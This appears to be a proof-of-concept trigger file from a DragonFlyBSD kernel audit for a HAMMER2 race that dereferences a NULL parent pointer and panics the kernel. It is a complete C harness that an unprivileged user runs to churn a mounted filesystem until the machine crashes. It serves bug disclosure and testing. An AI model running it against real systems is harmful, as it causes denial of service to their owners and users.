DragonFlyBSD Kernel Audit
DF-0762 / h2_churn.c
← back to finding ↓ download raw
/*
 * DF-0762 PoC trigger — hammer2_chain_lastdrop no-parent-retry NULL deref.
 *
 * Bug: sys/vfs/hammer2/hammer2_chain.c hammer2_chain_lastdrop() else-branch
 * (no-parent case, parent==NULL), the 1->0-retry path executes:
 *     hammer2_spin_unex(&parent->core.spin);
 * with parent==NULL -> NULL deref at sizeof(hammer2_mtx_t) -> kernel panic.
 * The else branch never acquires parent's spinlock, so the release is both
 * a NULL deref and an unheld-lock release.
 *
 * Reachability: race.  A detached chain (parent==NULL, refs==1) entering
 * lastdrop while a concurrent hammer2_chain_ref bumps refs 1->2 makes the
 * atomic_cmpset_int(&chain->refs,1,0) fail, taking the buggy retry path.
 *
 * Threat model / preconditions (acceptable):
 *   - root has created + mounted a HAMMER2 filesystem image (mount is root-only),
 *     and chowned the mountpoint to the unprivileged user.  This mirrors the
 *     "admin mounted a filesystem image and made it usable by the user"
 *     precondition.  The TRIGGER itself (heavy churn) is all unprivileged.
 *
 * This harness runs as the unprivileged user and hammers the mounted HAMMER2
 * filesystem with concurrent create/delete/rename/write/sync workloads to
 * maximize the chance of catching the parentless-chain refs race.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <sys/wait.h>

#ifndef H2_MNT
#define H2_MNT "/h2test"
#endif

static volatile int stop = 0;

/* Worker A: create/delete files in a tight loop with fsync. */
static void *
worker_crud(void *arg)
{
	long tid = (long)arg;
	char path[256];
	char buf[4096];
	int i, fd;

	memset(buf, 'x', sizeof(buf));
	for (i = 0; !stop; i++) {
		snprintf(path, sizeof(path), "%s/crud.%ld.%d", H2_MNT, tid, i & 0x3f);
		fd = open(path, O_CREAT | O_RDWR | O_TRUNC, 0644);
		if (fd < 0) {
			if (errno == EINTR || errno == ENOSPC) {
				/* disk pressure: purge our crud files to keep churn going */
				int j;
				for (j = 0; j < 0x40; j++) {
					snprintf(path, sizeof(path), "%s/crud.%ld.%d", H2_MNT, tid, j);
					unlink(path);
				}
				continue;
			}
			continue;
		}
		/* variable-sized writes to exercise blocktable/indirect blocks */
		write(fd, buf, sizeof(buf));
		if (i & 1) write(fd, buf, sizeof(buf));
		fsync(fd);
		close(fd);
		/* delete ~all the time to force chain teardown and avoid filling disk */
		unlink(path);
	}
	return NULL;
}

/* Worker B: rename churn to force parent/topology reorganization. */
static void *
worker_rename(void *arg)
{
	long tid = (long)arg;
	char a[256], b[256];
	int i;
	for (i = 0; !stop; i++) {
		snprintf(a, sizeof(a), "%s/rn.%ld.%d", H2_MNT, tid, i & 0x3f);
		snprintf(b, sizeof(b), "%s/rn.%ld.%d.b", H2_MNT, tid, i & 0x3f);
		rename(a, b);
		if ((i & 0x7) == 0) {
			int fd = open(a, O_CREAT | O_RDWR, 0644);
			if (fd >= 0) { write(fd, a, 16); close(fd); }
		}
		/* purge to avoid filling disk */
		unlink(b);
	}
	return NULL;
}

/* Worker C: mkdir/rmdir churn + deep directory trees (parent churn). */
static void *
worker_tree(void *arg)
{
	long tid = (long)arg;
	char d[256];
	int i;
	for (i = 0; !stop; i++) {
		snprintf(d, sizeof(d), "%s/d.%ld.%d", H2_MNT, tid, i & 0xf);
		if (mkdir(d, 0755) == 0) {
			char f[300];
			int fd;
			snprintf(f, sizeof(f), "%s/f", d);
			fd = open(f, O_CREAT | O_RDWR, 0644);
			if (fd >= 0) { write(fd, f, 32); fsync(fd); close(fd); }
			unlink(f);
			rmdir(d);
		}
	}
	return NULL;
}

/* Worker D: periodic syncfs to force flush/blocktable maintenance. */
static void *
worker_sync(void *arg)
{
	(void)arg;
	while (!stop) {
		sync();
		usleep(2000); /* 2ms */
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	int ncrud, nrename, ntree, duration;
	long i;
	pthread_t *t;
	int nthreads;

	duration = (argc > 1) ? atoi(argv[1]) : 60;
	ncrud   = (argc > 2) ? atoi(argv[2]) : 4;
	nrename = (argc > 3) ? atoi(argv[3]) : 2;
	ntree   = (argc > 4) ? atoi(argv[4]) : 2;
	nthreads = ncrud + nrename + ntree + 1;
	t = calloc(nthreads, sizeof(pthread_t));

	fprintf(stderr, "DF-0762: hammer2 churn on %s, duration=%ds "
	    "(crud=%d rename=%d tree=%d sync=1)\n",
	    H2_MNT, duration, ncrud, nrename, ntree);
	fprintf(stderr, "DF-0762: if the kernel panics in hammer2_chain_lastdrop / "
	    "page-fault at a low address, the bug is reproduced.\n");

	i = 0;
	for (int k = 0; k < ncrud; k++)   pthread_create(&t[i++], NULL, worker_crud,   (void *)(long)k);
	for (int k = 0; k < nrename; k++) pthread_create(&t[i++], NULL, worker_rename, (void *)(long)k);
	for (int k = 0; k < ntree; k++)   pthread_create(&t[i++], NULL, worker_tree,   (void *)(long)k);
	pthread_create(&t[i++], NULL, worker_sync, NULL);

	sleep(duration);
	stop = 1;
	for (int k = 0; k < nthreads; k++) pthread_join(t[k], NULL);

	fprintf(stderr, "DF-0762: churn finished without local error. "
	    "Check serial console / dmesg for hammer2_chain_lastdrop panic.\n");
	return 0;
}